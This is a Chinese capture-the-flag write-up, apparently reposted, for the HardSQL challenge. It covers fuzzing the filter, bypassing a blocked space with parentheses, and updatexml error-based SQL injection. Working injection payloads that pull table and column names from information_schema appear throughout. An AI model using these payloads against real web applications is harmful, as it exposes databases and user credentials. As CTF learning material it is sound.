极客大挑战 Hardsql
Posted k_du1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了极客大挑战 Hardsql相关的知识,希望对你有一定的参考价值。
0x00 前言
a.sql注入fuzzing
碰到sql注入题时,为尽快确认过滤列,可做一个fuzzing_test
注意一次发太多包会429,适当调节引擎
可以看到736都是被过滤的
比较关键的空格和union都被过滤了
a.常见的绕过空格
1.注释 /**/ (显然此处是行不通的)
/**/来标记注释的内容。比如SQL查询:
select user() from dual
我们用注释替换空格,就可以变成:
select/**/user()/**/from/**/dual
2.在mysql中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
括号绕过空格的方法,在time based盲注中,是屡试不爽的。
eg:
select user() from dual where 1=1 and 2=2
观察到user()可以算值,那么user()两边要加括号,变成:
select(user())from dual where 1=1 and 2=2;
继续,1=1和2=2可以算值,也加括号,去空格,变成:
select(user())from dual where(1=1)and(2=2)
引用
https://blog.csdn.net/acsuccess/article/details/69360931
b.updatexml报错注入
这边注意到union被过滤了
复习一下
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
如果xpath_expr未找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。
看一下dl实操
mysql> SELECT
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
-> UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
-> \\G
***********结果**************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>
当Xpath路径语法错误时,就会报错
所以其实第一个参数和第三个参数并不重要,关键是利用第二个参数语法错误进行查询
报错内容含有错误的路径内容:
本地实操
mysql> show columns from users;
+--------------+-------------+------+-----+-------------------+-----------------------------+
| Field | Type | Null | Key | Default | Extra |
+--------------+-------------+------+-----+-------------------+-----------------------------+
| user_id | int(6) | NO | PRI | 0 | |
| first_name | varchar(15) | YES | | NULL | |
| last_name | varchar(15) | YES | | NULL | |
| user | varchar(15) | YES | | NULL | |
| password | varchar(32) | YES | | NULL | |
| avatar | varchar(70) | YES | | NULL | |
| last_login | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| failed_login | int(3) | YES | | NULL | |
+--------------+-------------+------+-----+-------------------+-----------------------------+
8 rows in set (0.02 sec)
mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'
注意内部进行括号的包裹
引用,dl讲的非常细,包含extractvalue的讲解
https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
0x01 开整
raw
注意value部分一定要url编码之后再传
如果是在页面输入框或url地址栏中提交会自动url编码
但通过hackbar就要你手动编码了
至于为什么要url编码
其实我之前都没有特别关注这个,然后特意找了一下
但这一定是很多一开始学习的人忽略的一点!
https://cloud.tencent.com/developer/article/1458887
database:geek
接下来就是正常思路了
注意=被过滤可以用like模糊查询
password='or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))#
table: H4rDsq1
column: id,username,password
到这边尬住了,看了一下dl_wp知道在不过滤的情况下可以用mid和substring
然后这边right从右侧截取
后来回顾了一下sqli-labs的笔记发现这边我还是记了点的,但没怎么在意就给忘了
done 补全
参考dl_wp
https://blog.csdn.net/qq_51652864/article/details/115740086
0x02 rethink
前几天一直打奇奇怪怪的比赛&&摸鱼了几天导致刷题耽搁了,检讨一下⑧
关于注入中各种各样的骚姿势都不是凭空想出来的,而是建立在扎实的基础之上,所以别想着一口气吃成一个胖子
之前做注入没有fuzz的习惯,像过滤空格这种是我没想到的,以后注意一下
以上是关于极客大挑战 Hardsql的主要内容,如果未能解决你的问题,请参考以下文章
BUUCTF-[极客大挑战 2019]HardSQL(报错注入)